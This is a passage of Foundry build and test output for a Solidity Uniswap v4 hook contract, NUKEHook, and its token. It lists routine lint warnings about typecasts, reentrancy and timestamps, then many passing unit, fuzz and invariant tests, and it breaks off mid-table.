━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:161:23\n    │\n161 │         uint256 fee = uint256(filled < 0 ? -filled : filled) * FEE_BPS / 10_000;\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:44\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:167:51\n    │\n167 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:253:16\n    │\n253 │         return uint160(limit);\n    │                ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `busy` is updated\n    ╭▸ src/NUKEHook.sol:259:29\n    │\n259 │         burned = abi.decode(poolManager.unlock(\"\"), (uint256));\n    │                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:261:9\n    │\n261 │         emit Swept(burned);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-no-eth]: external call can be reentered before `lastBatch` is updated\n    ╭▸ src/NUKEHook.sol:278:13\n    │\n278 │         try poolManager.unlock(abi.encode(budget, limit)) returns (bytes memory result) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:268:13\n    │\n268 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/NUKEHook.sol:293:9\n    │\n293 │         emit BatchExecuted(budget, spent, burned, limit);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:22\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:30\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:67\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:271:75\n    │\n271 │         if (budget > uint256(uint128(type(int128).max))) budget = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:283:39\n    │\n283 │             if (reason.length != 4 || bytes4(reason) != EmptyBatch.selector) {\n    │                                       ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:310:81\n    │\n310 │         BalanceDelta delta = poolManager.swap(poolKey(), SwapParams(!tokenIs0, -int256(budget), limit), \"\");\n    │                                                                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:311:25\n    │\n311 │         uint256 spent = uint256(-int256(tokenIs0 ? delta.amount1() : delta.amount0()));\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:312:26\n    │\n312 │         uint256 bought = uint256(int256(tokenIs0 ? delta.amount0() : delta.amount1()));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/NUKEHook.sol:321:13\n    │\n321 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/NUKEHook.sol:380:43\n    │\n380 │             uint256 newStart = boundary + ((block.timestamp - boundary) / BATCH_INTERVAL) * BATCH_INTERVAL;\n    │                                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:372:13\n    │\n372 │         if (block.timestamp < boundary) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/NUKEHook.sol:381:17\n    │\n381 │             if (newStart > boundary) o.meanTick = o.tick;\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:27\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:373:50\n    │\n373 │             o.integral += int64(int256(o.tick) * int256(block.timestamp - o.observedAt));\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:375:69\n    │\n375 │             int256 integral = int256(o.integral) + int256(o.tick) * int256(boundary - o.observedAt);\n    │                                                                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:376:38\n    │\n376 │             int256 mean = integral / int256(BATCH_INTERVAL);\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:378:44\n    │\n378 │             if (integral < 0 && integral % int256(BATCH_INTERVAL) != 0) --mean;\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:379:26\n    │\n379 │             o.meanTick = int24(mean);\n    │                          ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:382:28\n    │\n382 │             o.epochStart = uint64(newStart);\n    │                            ━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:26\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:383:49\n    │\n383 │             o.integral = int64(int256(o.tick) * int256(block.timestamp - newStart));\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/NUKEHook.sol:385:24\n    │\n385 │         o.observedAt = uint64(block.timestamp);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":17125,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 375.41µs (0.00ns CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 378269)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 487905)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 486883)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1002264)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 963396)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 9.04ms (5.63ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1175617)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1842632)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2176576)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1834234)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 9.70ms (8.40ms CPU time)\n\nRan 5 tests for test/DustBatch.t.sol:DustBatchReverseOrderTest\n[PASS] test_batchPropagatesUnrelatedUnlockFailure() (gas: 393340)\n[PASS] test_partialFillJustAboveOnePercentCommitsInterval() (gas: 494479)\n[PASS] test_partialFillJustBelowOnePercentLeavesIntervalAvailable() (gas: 493481)\n[PASS] test_tinyPositiveOutputPartialFillLeavesIntervalAvailable() (gas: 1011845)\n[PASS] test_zeroOutputBatchRollsBackAndLeavesIntervalAvailable() (gas: 973773)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 35.41ms (4.99ms CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleReverseOrderTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1158305)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 849756)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2617636)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2281304)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1043397)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 272625)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 38.01ms (10.96ms CPU time)\n\nRan 4 tests for test/OracleLiquidity.t.sol:OracleLiquidityReverseOrderTest\n[PASS] test_batchLeavingLiquidityKeepsPreviousLiquidTick() (gas: 1212098)\n[PASS] test_batchTraversesEmptyRegionUsingLiquidReference() (gas: 1826438)\n[PASS] test_zeroLiquidityExcursionDoesNotDisablePermissionlessBuyback() (gas: 2164395)\n[PASS] test_zeroLiquidityTickDoesNotEnterHourlyReference() (gas: 1823751)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 45.05ms (7.03ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesReverseOrderTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 403056, ~: 402730)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 470279)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 684063)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 7362508)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 1044267)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1174455)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 787407)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 343.68ms (328.86ms CPU time)\n\nRan 7 tests for test/SettlementEdges.t.sol:SettlementEdgesTest\n[PASS] testFuzz_largestRepresentableRequestsPartiallyFill(bool,bool,uint8) (runs: 1000, μ: 396403, ~: 394540)\n[PASS] test_batchWorksWithAdditionalProtocolFee() (gas: 460685)\n[PASS] test_budgetDustAccumulatesUntilOneUnitCanBeSpent() (gas: 674393)\n[PASS] test_claimSettledSwapsKeepWalletsUnchangedAndChargeActualFill() (gas: 7290650)\n[PASS] test_failedBatchRestoresCooldownClaimsAndOracleThenRetries() (gas: 1026199)\n[PASS] test_failedInputSettlementRollsBackFeesPriceAndOracle() (gas: 1168398)\n[PASS] test_failedSweepPreservesClaimsAndCanBeRetried() (gas: 777433)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 358.72ms (366.62ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsReverseOrderTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 568140, ~: 530409)\nLogs:\n  Bound result 9000000000000000174\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 358.71ms (345.07ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitReverseOrderTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 711240, ~: 710749)\nLogs:\n  Bound result 5300\n  Bound result 95000000000000000003147\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 806031)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1065088)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 389.67ms (376.22ms CPU time)\n\nRan 5 tests for test/NUKE.t.sol:NUKETest\n[PASS] testFuzz_conservation(uint256) (runs: 1000, μ: 86140, ~: 86525)\nLogs:\n  Bound result 3681\n\n[PASS] test_entireFixedSupplyBelongsToDeployer() (gas: 44027)\n[PASS] test_factoryCanTransferAllAllocationsWithoutTax() (gas: 140535)\n[PASS] test_noAdministrativeSupplyMutation() (gas: 170405)\n[PASS] test_transferFailuresAndAllowance() (gas: 204623)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 389.55ms (390.44ms CPU time)\n\nRan 6 tests for test/DustLiquidityOracle.t.sol:DustLiquidityOracleTest\n[PASS] test_backedDiscountedAskIsObservedAndBoughtFirst() (gas: 1180015)\n[PASS] test_controlWithoutPushGivesSameReference() (gas: 817628)\n[PASS] test_dustAskDoesNotCapLimitOrConsumeCooldownCheaply() (gas: 2621719)\n[PASS] test_dustLiquidityTickPushDoesNotBlockBuyback() (gas: 2285302)\n[PASS] test_observationBandLimitsHourlyDrop() (gas: 1042654)\n[PASS] test_observationWithinBandIsTrackedExactly() (gas: 280706)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 389.68ms (10.29ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 372786, ~: 372771)\nLogs:\n  Bound result 45030963053451589482791\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1199931, ~: 1199590)\nLogs:\n  Bound result 348\n  Bound result 2315\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 455757)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 708983)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 548231)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1324514)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 28155913)\n[PASS] test_dustFeeRoundsDown() (gas: 370396)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 826727)\n[PASS] test_exactInputBuy() (gas: 365244)\n[PASS] test_exactInputSell() (gas: 372204)\n[PASS] test_exactOutputBuy() (gas: 367576)\n[PASS] test_exactOutputSell() (gas: 369680)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 7679668)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 843664)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 7846976)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 709788)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 323075)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 3521657)\n[PASS] test_partialExactInputBuy() (gas: 365755)\n[PASS] test_partialExactInputSell() (gas: 373252)\n[PASS] test_partialExactOutputBuy() (gas: 366611)\n[PASS] test_partialExactOutputSell() (gas: 370030)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 696032)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 51940)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 414061)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 389.69ms (627.96ms CPU time)\n\nRan 3 tests for test/BatchPriceLimit.t.sol:BatchPriceLimitTest\n[PASS] testFuzz_batchEndsWithinThreePercentOfSpot(uint96,uint16) (runs: 1000, μ: 718941, ~: 718473)\nLogs:\n  Bound result 5300\n  Bound result 95000000000000000001200\n\n[PASS] test_freshReferenceRoundTripControlLosesAfterFees() (gas: 797373)\n[PASS] test_staleReferenceRoundTripLosesAfterFees() (gas: 1077247)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 389.76ms (388.64ms CPU time)\n\nRan 1 test for test/SettlementEdges.t.sol:FreshPoolClaimsTest\n[PASS] testFuzz_firstBuyAccruesBeforeInputArrives(bool,uint64) (runs: 1000, μ: 535107, ~: 495827)\nLogs:\n  Bound result 9000000000235668797\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 389.77ms (386.63ms CPU time)\n\nRan 31 tests for test/NUKEHook.t.sol:NUKEHookReverseOrderTest\n[PASS] testFuzz_feeMatchesFill(bool,bool,bool,uint96) (runs: 1000, μ: 378227, ~: 379058)\nLogs:\n  Bound result 99999000000000000000625\n\n[PASS] testFuzz_oracleIntegratesMultipleObservations(uint16,uint16,bool) (runs: 1000, μ: 1210507, ~: 1214482)\nLogs:\n  Bound result 71\n  Bound result 3541\n\n[PASS] test_askPriceIsWhereObservationDepthIsPurchasable() (gas: 462900)\n[PASS] test_batchCanCombineClaimsAndWalletFunds() (gas: 721982)\n[PASS] test_batchCannotRunInsideAnotherUnlock() (gas: 95791)\n[PASS] test_batchPartialFillKeepsRemainderAndNextBatchWorks() (gas: 559120)\n[PASS] test_batchSpendsQuarterAndBurnsWithoutHookFee() (gas: 1321892)\n[PASS] test_beforeSwapReturnsZeroDeltaAndNoLPOverride() (gas: 25162)\n[PASS] test_callbacksRejectUntrustedCallers() (gas: 137474)\n[PASS] test_cannotInitializeBeforePredictedHookHasCode() (gas: 4640807)\n[PASS] test_dustFeeRoundsDown() (gas: 380661)\n[PASS] test_emptyBatchAndOutsideLimitDoNotConsumeCooldown() (gas: 833557)\n[PASS] test_exactInputBuy() (gas: 375212)\n[PASS] test_exactInputSell() (gas: 375477)\n[PASS] test_exactOutputBuy() (gas: 376108)\n[PASS] test_exactOutputSell() (gas: 374389)\n[PASS] test_firstBatchRequiresOneHourAndInitializedPool() (gas: 35771161)\n[PASS] test_hourlyReferenceWeightsElapsedTimeAndFloorsNegativeTicks() (gas: 857109)\n[PASS] test_initializationRejectsOtherPoolsAndDynamicFee() (gas: 35949359)\n[PASS] test_largeRequestWithSmallPartialFill() (gas: 730748)\n[PASS] test_noLiquidityBatchDoesNotDeadlock() (gas: 328361)\n[PASS] test_offlineMinerMatchesActualCreate2Deployment() (gas: 13466538)\n[PASS] test_partialExactInputBuy() (gas: 375423)\n[PASS] test_partialExactInputSell() (gas: 376833)\n[PASS] test_partialExactOutputBuy() (gas: 375975)\n[PASS] test_partialExactOutputSell() (gas: 373908)\n[PASS] test_permissionlessSweepBurnsClaimsAndDonations() (gas: 706000)\n[PASS] test_permissionsAndDeployment() (gas: 2422065)\n[PASS] test_priceLimitIsThreePercentInPairPerToken() (gas: 56077)\n[PASS] test_unrepresentableRequestsUseExplicitError() (gas: 208135)\n[PASS] test_zeroLiquidityPartialSwapPaysNoFee() (gas: 423907)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 389.83ms (721.37ms CPU time)\n\nRan 1 test for test/Conservation.t.sol:ConservationTest\n[PASS] invariant_feesAreConservedAndNoDebtRemains() (runs: 128, calls: 8192, reverts: 0)\n\n╭---------------------+-----------------+-------+---------+----------╮\n| Contract            | Selector        | Calls | Reverts | Discards |\n+====================================================================+\n| ConservationHandler | advanceAndBatch | 2755  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | swap            | 2692  | 0       | 0        |\n|---------------------+-----------------+-------+---------+----------|\n| ConservationHandler | sweep           | 2745  | 0       | 0        |\n╰---------------------+-----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 499999999999900000494\n  Bound result 3608\n  Bound result 10371830397818\n  Bound result 499999999999900001516\n  Bound result 6982\n  Bound result 470343744\n  Bound result 3601\n  Bound result 499999999999900015904\n  Bound result 253456003890260660697\n  Bound result 6510\n  Bound result 171900418185148499862\n  Bound result 499999999999900006592\n  Bound result 477400708661789098660\n  Bound result 7092\n  Bound result 4492\n  Bound result 499999999999900013630\n  Bound result 5385\n  Bound result 499999999999900006112\n  Bound result 28494082528315492\n  Bound result 4781\n  Bound result 3831\n  Bound result 3868\n  Bound result 7082\n  Bound result 499999999999900006301\n  Bound result 3700\n  Bound result 4033\n  Bound result 499999999999900006391\n  Bound result 3643\n  Bound result 499999999999900006030\n  Bound result 271496540430566716678\n  Bound result 3708\n  Bound result 4641\n  Bound result 5431\n  Bound result 5020\n  Bound result 3057007857\n  Bound result 3644\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.17s (2.16s CPU time)\n\nRan 8 tests for test/StatefulAccounting.t.sol:StatefulAccountingReverseOrderTest\n[PASS] invariant_accountingAndReferenceSurviveArbitrarySequences() (runs: 256, calls: 24576, reverts: 0)\n\n╭---------------------------+-----------------+-------+---------+----------╮\n| Contract                  | Selector        | Calls | Reverts | Discards |\n+==========================================================================+\n| StatefulAccountingHandler | advanceTime     | 2767  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | batch           | 2724  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | donate          | 2729  | 0       | 0        |\n|---------------------------+-----------------+-------+---------+----------|\n| StatefulAccountingHandler | dump            